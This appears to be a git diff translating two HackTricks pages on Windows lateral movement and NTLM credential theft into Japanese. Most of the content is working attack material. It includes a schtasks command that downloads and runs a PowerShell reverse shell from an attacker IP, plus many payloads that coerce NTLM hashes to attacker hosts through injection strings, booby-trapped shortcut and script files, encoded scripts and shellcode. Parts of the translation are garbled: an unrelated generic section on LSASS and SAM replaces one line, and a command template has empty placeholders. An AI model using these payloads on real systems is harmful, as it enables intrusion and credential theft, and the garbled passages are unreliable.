☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/windows-hardening/ntlm/atexec.md b/windows-hardening/ntlm/atexec.md index 5f00e64d8..c1da2d24c 100644 --- a/windows-hardening/ntlm/atexec.md +++ b/windows-hardening/ntlm/atexec.md @@ -4,28 +4,38 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## How Does it works - -At allows to schedule tasks in hosts where you know username/(password/Hash). So, you can use it to execute commands in other hosts and get the output. +## 動作原理 +Atは、ユーザー名/(パスワード/ハッシュ)がわかっているホストでタスクをスケジュールすることができます。そのため、他のホストでコマンドを実行し、出力を取得するために使用することができます。 ``` At \\victim 11:00:00PM shutdown -r ``` +Using schtasks, you first need to create the task and then call it: -Using schtasks you need first to create the task and then call it: +```plaintext +schtasks /create /tn /tr /sc /ru /rp +schtasks /run /tn +``` +- ``: The name of the task you want to create. +- ``: The command or program you want to execute. +- ``: The schedule type for the task (e.g., ONCE, DAILY, WEEKLY). +- ``: The username under which the task will run. +- ``: The password for the specified username. + +To create the task, use the `/create` option with the appropriate parameters. To run the task, use the `/run` option followed by the task name (`/tn`). ``` schtasks /create /n /tr C:\path\executable.exe /sc once /st 00:00 /S /RU System schtasks /run /tn /S @@ -35,21 +45,20 @@ schtasks /run /tn /S schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local ``` - -More information about the [**use of schtasks with silver tickets here**](../active-directory-methodology/silver-ticket.md#host). +[**シルバーチケットを使用したschtasksの詳細はこちら**](../active-directory-methodology/silver-ticket.md#host)で確認できます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/windows-hardening/ntlm/places-to-steal-ntlm-creds.md index 0b3a96776..247cc9707 100644 --- a/windows-hardening/ntlm/places-to-steal-ntlm-creds.md +++ b/windows-hardening/ntlm/places-to-steal-ntlm-creds.md @@ -1,70 +1,70 @@ -# Places to steal NTLM creds +# NTLMクレデンシャルを盗む場所
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-## Automatic Payloads Creation & Other lists +## 自動ペイロードの作成とその他のリスト ### [ntlm\_theft](https://github.com/Greenwolf/ntlm\_theft) -This tool will **create several documents/files** that if accessed by the user somehow they will **start a NTLM authentication with the attacker**. +このツールは、ユーザーがアクセスすると、**攻撃者とのNTLM認証が開始される**いくつかのドキュメント/ファイルを作成します。 -#### ntlm\_theft supports the following attack types: +#### ntlm\_theftは、次の攻撃タイプをサポートしています: -Browse to Folder Containing: +フォルダを参照: -* .url – via URL field -* .url – via ICONFILE field -* .lnk - via icon\_location field -* .scf – via ICONFILE field (Not Working on Latest Windows) -* autorun.inf via OPEN field (Not Working on Latest Windows) -* desktop.ini - via IconResource field (Not Working on Latest Windows) +* .url – URLフィールド経由 +* .url – ICONFILEフィールド経由 +* .lnk - icon\_locationフィールド経由 +* .scf – ICONFILEフィールド経由(最新のWindowsでは動作しません) +* autorun.inf – OPENフィールド経由(最新のWindowsでは動作しません) +* desktop.ini - IconResourceフィールド経由(最新のWindowsでは動作しません) -Open Document: +ドキュメントを開く: -* .xml – via Microsoft Word external stylesheet -* .xml – via Microsoft Word includepicture field -* .htm – via Chrome & IE & Edge img src (only if opened locally, not hosted) -* .docx – via Microsoft Word includepicture field +* .xml – Microsoft Wordの外部スタイルシート経由 +* .xml – Microsoft Wordのincludepictureフィールド経由 +* .htm – Chrome&IE&Edgeのimg src経由(ローカルで開かれた場合のみ、ホストされていない場合は開かれません) +* .docx – Microsoft Wordのincludepictureフィールド経由 - \-.docx – via Microsoft Word external template +\-.docx – Microsoft Wordの外部テンプレート経由 - \-.docx – via Microsoft Word frameset webSettings +\-.docx – Microsoft Wordのframeset webSettings経由 - \-.xlsx - via Microsoft Excel external cell +\-.xlsx - Microsoft Excelの外部セル経由 - \-.wax - via Windows Media Player playlist (Better, primary open) +\-.wax - Windows Media Playerのプレイリスト経由(より良い、主要なオープン) - \-.asx – via Windows Media Player playlist (Better, primary open) +\-.asx – Windows Media Playerのプレイリスト経由(より良い、主要なオープン) - \-.m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy) +\-.m3u – Windows Media Playerのプレイリスト経由(悪い、Win10では最初にGroovyで開かれます) - \-.jnlp – via Java external jar +\-.jnlp – Javaの外部jar経由 - \-.application – via any Browser (Must be served via a browser downloaded or won’t run) +\-.application – 任意のブラウザ経由(ブラウザ経由で提供されない場合は実行されません) -Open Document and Accept Popup: +ドキュメントを開き、ポップアップを受け入れる: -* .pdf – via Adobe Acrobat Reader +* .pdf – Adobe Acrobat Reader経由 -Click Link in Chat Program: +チャットプログラムでリンクをクリック: -* .txt – formatted link to paste into Zoom chat +* .txt – Zoomチャットに貼り付けるためのフォーマットされたリンク -> Example : +> 例: > > ```bash > # python3 ntlm_theft.py -g all -s 127.0.0.1 -f test @@ -89,13 +89,13 @@ Click Link in Chat Program: ### [All\_NTLM-Leak](https://github.com/Gl3bGl4z/All\_NTLM\_leak) -> Cheatsheet +> チートシート -This is a list of techniques to force NTLM authentications to steal credentials from the victim. +これは、被害者からクレデンシャルを盗むためのNTLM認証を強制するための技術のリストです。 -### Force NTLM Privileged Authentication +### NTLM特権認証の強制 -You may be able to **force a windows machine to authenticate to an arbitrary machine** using a privileged account. Read the following page to learn more: +特権アカウントを使用して、Windowsマシンを**任意のマシンに認証させる**ことができる場合があります。詳細については、次のページを参照してください: {% content-ref url="../active-directory-methodology/printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](../active-directory-methodology/printers-spooler-service-abuse.md) @@ -103,72 +103,59 @@ You may be able to **force a windows machine to authenticate to an arbitrary mac ## LFI -The include() in PHP will resolve the network path for us. - +PHPのinclude()は、ネットワークパスを解決してくれます。 ``` http://host.tld/?page=//11.22.33.44/@OsandaMalith ``` - ![](<../../.gitbook/assets/image (642).png>) ## XXE -In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path. - +ここでは、ネットワークパスを解決するために「php://filter/convert.base64-encode/resource=」を使用しています。 ```markup ]> - - - OUT&xxe;OUT - + + +OUT&xxe;OUT + ``` - ![](<../../.gitbook/assets/image (618).png>) -## XPath Injection - -Usually, doc() is used in out-of-band XPath injections, thus can be applied in resolving a network path. +## XPathインジェクション +通常、doc()はオフバンドのXPathインジェクションで使用され、ネットワークパスの解決に適用することができます。 ``` http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith') ``` - ![](<../../.gitbook/assets/image (638) (2).png>) -## MySQL Injection - -I have written a complete [post ](https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)on MySQL out-of-band injections which can be applied over the internet. You can also use ‘INTO OUTFILE’ to resolve a network path. +## MySQLインジェクション +私はMySQLのオフバンドインジェクションについての完全な[記事](https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)を書きました。これはインターネット上で適用できます。また、ネットワークパスを解決するために 'INTO OUTFILE' を使用することもできます。 ``` http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00 ``` - ![](<../../.gitbook/assets/image (663).png>) ## MSSQL -Since stacked queries are supported we can call stored procedures. - +スタックされたクエリがサポートされているため、ストアドプロシージャを呼び出すことができます。 ``` ';declare @q varchar(99);set @q='\\192.168.254.52\test'; exec master.dbo.xp_dirtree @q ``` - ## Regsvr32 -Accidently found this one while experimenting with .sct files. - +.sctファイルを実験している間に偶然これを見つけました。 ``` regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll ``` +## バッチ -## Batch - -There are many possible ways you can explore - +探索できる可能性のある方法は多数あります。 ``` echo 1 > //192.168.0.1/abc pushd \\192.168.0.1\abc @@ -180,10 +167,9 @@ type\\192.168.0.1\abc dir\\192.168.0.1\abc find, findstr, [x]copy, move, replace, del, rename and many more! ``` +## 自動補完 -## Auto-Complete - -You just need to type ‘\host\’ the auto-complete will do the trick under the explorer and the run dialog box. +エクスプローラーや実行ダイアログボックスで、単に「\host\」と入力するだけで自動補完が機能します。 ![](<../../.gitbook/assets/image (660).png>) @@ -191,19 +177,16 @@ You just need to type ‘\host\’ the auto-complete will do the trick under the ## Autorun.inf -Starting from Windows 7 this feature is disabled. However you can enable by changing the group policy for Autorun. Make sure to hide the Autorun.inf file to work. - +Windows 7以降、この機能は無効になっています。ただし、Autorunのグループポリシーを変更することで有効にすることができます。Autorun.infファイルを非表示にするようにしてください。 ``` [autorun] open=\\35.164.153.224\setup.exe icon=something.ico action=open Setup.exe ``` +## シェルコマンドファイル -## Shell Command Files - -It is possible to obtain passwords hashes of domain users or shells when writing permissions given to unauthenticated users. SCF (Shell Command Files) can perform a limited set of operations like showing the Windows desktop or opening a Windows Explorer. Save the code below as `ordinary.scf` and put it into a network share. - +認証されていないユーザーに与えられた書き込み権限によって、ドメインユーザーのパスワードハッシュやシェルを取得することが可能です。SCF(シェルコマンドファイル)は、Windowsデスクトップの表示やWindows Explorerの起動など、一部の操作を実行することができます。以下のコードを`ordinary.scf`として保存し、ネットワーク共有に配置してください。 ``` [Shell] Command=2 @@ -211,11 +194,9 @@ IconFile=\\AttackerIP\ordinary.ico [Taskbar] Command=ToggleDesktop ``` - ## Desktop.ini -The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes. - +desktop.iniファイルには、フォルダに適用されたアイコンの情報が含まれています。これを悪用してネットワークパスを解決することができます。フォルダを開くとハッシュが表示されるはずです。 ``` mkdir openMe attrib +s openMe @@ -224,19 +205,15 @@ echo [.ShellClassInfo] > desktop.ini echo IconResource=\\192.168.0.1\aa >> desktop.ini attrib +s +h desktop.ini ``` - -In Windows XP systems the desktop.ini file uses ‘IcondFile’ instead of ‘IconResource’. - +Windows XPシステムでは、desktop.iniファイルは 'IconResource'の代わりに 'IcondFile'を使用します。 ``` [.ShellClassInfo] IconFile=\\192.168.0.1\aa IconIndex=1337 ``` +## ショートカットファイル (.lnk) -## Shortcut Files (.lnk) - -We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory. - +ネットワークパスを含むショートカットを作成することができます。ショートカットを開くと、Windowsはネットワークパスを解決しようとします。ショートカットをトリガーするためのキーボードショートカットも指定できます。アイコンには、Windowsのバイナリの名前を指定するか、system32ディレクトリにあるshell32.dll、Ieframe.dll、imageres.dll、pnidui.dll、またはwmploc.dllからアイコンを選択することができます。 ```powershell Set shl = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") @@ -251,9 +228,7 @@ sc.IconLocation = "%windir%\system32\shell32.dll, 3" sc.Description = "I will Steal your Hashes" sc.Save ``` - -The Powershell version. - +Powershellのバージョン。 ```powershell #TargetPath attack $objShell = New-Object -ComObject WScript.Shell @@ -271,64 +246,50 @@ $shortcut = $wsh.CreateShortcut("\\dc\software\test.lnk") $shortcut.IconLocation = "\\10.10.10.10\test.ico" $shortcut.Save() ``` +## インターネットショートカット (.url) -## Internet Shortcuts (.url) - -Another shortcut in Windows is the Internet shortcuts. You can save this as something.url - +Windowsのもう一つのショートカットは、インターネットショートカットです。これを`something.url`として保存することができます。 ```bash -echo [InternetShortcut] > stealMyHashes.url +echo [InternetShortcut] > stealMyHashes.url echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url ``` +## レジストリを使用した自動実行 -## Autorun with Registry - -You can add a new registry key in any of the following paths. - +次のいずれかのパスに新しいレジストリキーを追加することができます。 ``` HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ``` - ![](<../../.gitbook/assets/image (307) (5).png>) ## Powershell -There are probably many scriptlets in Powershell that would resolve a network path. - +おそらく、Powershellにはネットワークパスを解決するための多くのスクリプトレットが存在するでしょう。 ``` Invoke-Item \\192.168.0.1\aa Get-Content \\192.168.0.1\aa Start-Process \\192.168.0.1\aa ``` - ## IE -IE will resolve UNC paths. For example - +IEはUNCパスを解決します。例えば、以下のようなUNCパスを解決します。 ```html ``` - -You can inject under XSS or in scenarios you find SQL injection. For example. - +以下の場所でNTLM資格情報を盗むことができます。XSSの下にインジェクトするか、SQLインジェクションのシナリオで使用することができます。例えば、以下のような場所です。 ``` http://host.tld/?id=-1' union select 1,'';%00 ``` - ## VBScript -You can save this as .vbs or can be used inside a macro that is applied to Word or Excel files. - +これを.vbsとして保存するか、WordやExcelファイルに適用されるマクロの中で使用することができます。 ```bash Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.OpenTextFile("//192.168.0.100/aa", 1) ``` - -You can apply in web pages but this works only with IE. - +あなたはWebページに適用することができますが、これはIEでのみ動作します。 ```markup ``` - -Here’ the encoded version. You can encode and save this as something.vbe - +以下はエンコードされたバージョンです。これをエンコードして、something.vbeとして保存できます。 ``` #@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@ ``` - -You can apply this in html files too. But only works with IE. You can save this as something.hta which will be an HTML Application under windows, which mshta.exe will execute it. By default it uses IE. - +これはHTMLファイルにも適用できます。ただし、IEでのみ動作します。これをsomething.htaとして保存することができます。これはWindowsのHTMLアプリケーションであり、mshta.exeが実行します。デフォルトではIEが使用されます。 ``` ``` - ## JScript -You can save this as something.js under windows. - +これをWindowsの下にsomething.jsとして保存できます。 ```javascript var fso = new ActiveXObject("Scripting.FileSystemObject") fso.FileExists("//192.168.0.103/aa") ``` - -You can apply the same in html files but only works with IE. Also you can save this as something.hta. - +同じことをhtmlファイルに適用することもできますが、IEでのみ動作します。また、これをsomething.htaとして保存することもできます。 ```markup ``` - -Here’s the encoded version. You can save this as something.jse. - +以下はエンコードされたバージョンです。これをsomething.jseとして保存できます。 ``` #@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@ ``` +以下は、NTLM資格情報を盗むための場所に関する情報です。 -The html version of this. +# NTLM資格情報を盗むための場所 +NTLM資格情報を盗むために攻撃者が悪用できる場所はいくつかあります。以下にそれらの場所を示します。 + +## メモリ + +メモリは、NTLMハッシュや平文のパスワードを含む可能性があります。攻撃者は、メモリ内のこれらの情報を抽出することで、NTLM資格情報を盗むことができます。 + +### LSASSプロセス + +LSASS(Local Security Authority Subsystem Service)プロセスは、Windowsの認証情報を管理するために使用されます。攻撃者は、LSASSプロセスのメモリをダンプすることで、NTLMハッシュを取得することができます。 + +### システムメモリ + +システムメモリには、ログオンセッションや認証情報が一時的に格納されることがあります。攻撃者は、システムメモリ内のこれらの情報を抽出することで、NTLM資格情報を盗むことができます。 + +## ネットワーク + +ネットワーク上でもNTLM資格情報を盗むことができます。以下にいくつかの例を示します。 + +### NTLM認証のリクエスト + +NTLM認証のリクエストは、ネットワーク上で送信されるため、攻撃者はこれを傍受してNTLMハッシュを取得することができます。 + +### NTLM認証の応答 + +NTLM認証の応答もネットワーク上で送信されるため、攻撃者はこれを傍受してNTLMハッシュを取得することができます。 + +### NTLM認証のキャプチャ + +ネットワーク上のトラフィックをキャプチャすることで、NTLM認証のリクエストや応答を取得することができます。攻撃者は、キャプチャしたトラフィックからNTLMハッシュを抽出することができます。 + +## ローカルストレージ + +ローカルストレージには、NTLMハッシュや平文のパスワードが保存されることがあります。攻撃者は、ローカルストレージ内のこれらの情報を抽出することで、NTLM資格情報を盗むことができます。 + +### SAMファイル + +SAM(Security Account Manager)ファイルは、Windowsのユーザーアカウント情報を保存するために使用されます。攻撃者は、SAMファイルからNTLMハッシュを取得することができます。 + +### Credential Manager + +Credential Managerは、Windowsの認証情報を保存するために使用されます。攻撃者は、Credential ManagerからNTLMハッシュや平文のパスワードを取得することができます。 + +以上が、NTLM資格情報を盗むための場所の一部です。攻撃者はこれらの場所を悪用することで、NTLM資格情報を入手することができます。 ```markup ``` +## Windowsスクリプトファイル -## Windows Script Files - -Save this as something.wsf. - +これをsomething.wsfとして保存してください。 ```markup - - - + + + ``` +## シェルコード -## Shellcode - -Here’s a small shellcode I made. This shellcode uses CreateFile and tries to read a non-existing network path. You can use tools such as Responder to capture NetNTLM hashes. The shellcode can be modified to steal hashes over the internet. SMBRelay attacks can also be performed. - +以下は私が作成した小さなシェルコードです。このシェルコードはCreateFileを使用し、存在しないネットワークパスを読み取ろうとします。Responderなどのツールを使用してNetNTLMハッシュをキャプチャすることができます。シェルコードはインターネット上でハッシュを盗むために変更することもできます。また、SMBRelay攻撃も実行できます。 ```cpp /* - Title: CreateFile Shellcode - Author: Osanda Malith Jayathissa (@OsandaMalith) - Website: https://osandamalith.com - Size: 368 Bytes +Title: CreateFile Shellcode +Author: Osanda Malith Jayathissa (@OsandaMalith) +Website: https://osandamalith.com +Size: 368 Bytes */ # include # include @@ -431,55 +422,53 @@ Here’s a small shellcode I made. This shellcode uses CreateFile and tries to r int main() { - char *shellcode = - "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02" - "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa" - "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05" - "\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10" - "\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0" - "\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8" - "\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a" - "\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff" - "\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe" - "\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b" - "\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89" - "\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40" - "\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff" - "\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78" - "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b" - "\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc" - "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff" - "\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89" - "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f" - "\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7" - "\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf" - "\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32" - "\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05"; +char *shellcode = +"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02" +"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa" +"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05" +"\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10" +"\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0" +"\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8" +"\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a" 